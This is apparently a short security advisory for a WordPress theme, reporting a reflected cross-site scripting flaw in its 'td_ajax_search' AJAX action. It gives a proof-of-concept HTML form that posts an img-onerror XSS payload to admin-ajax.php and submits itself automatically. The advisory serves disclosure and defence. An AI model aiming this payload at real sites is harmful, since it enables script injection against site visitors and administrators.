The theme does not sanitise a parameter before outputting it back in an HTML attribute via an AJAX action, leading to a Reflected Cross-Site Scripting.
<html> <body> <form action="https://example.com/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="td_ajax_search" /> <input type="hidden" name="td_string" value="<img src=a onerror=alert(/XSS/)>" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
Ramon Dunker
Ramon Dunker
Yes
2022-10-10 (about 7 months ago)
2022-10-10 (about 7 months ago)
2022-10-10 (about 7 months ago)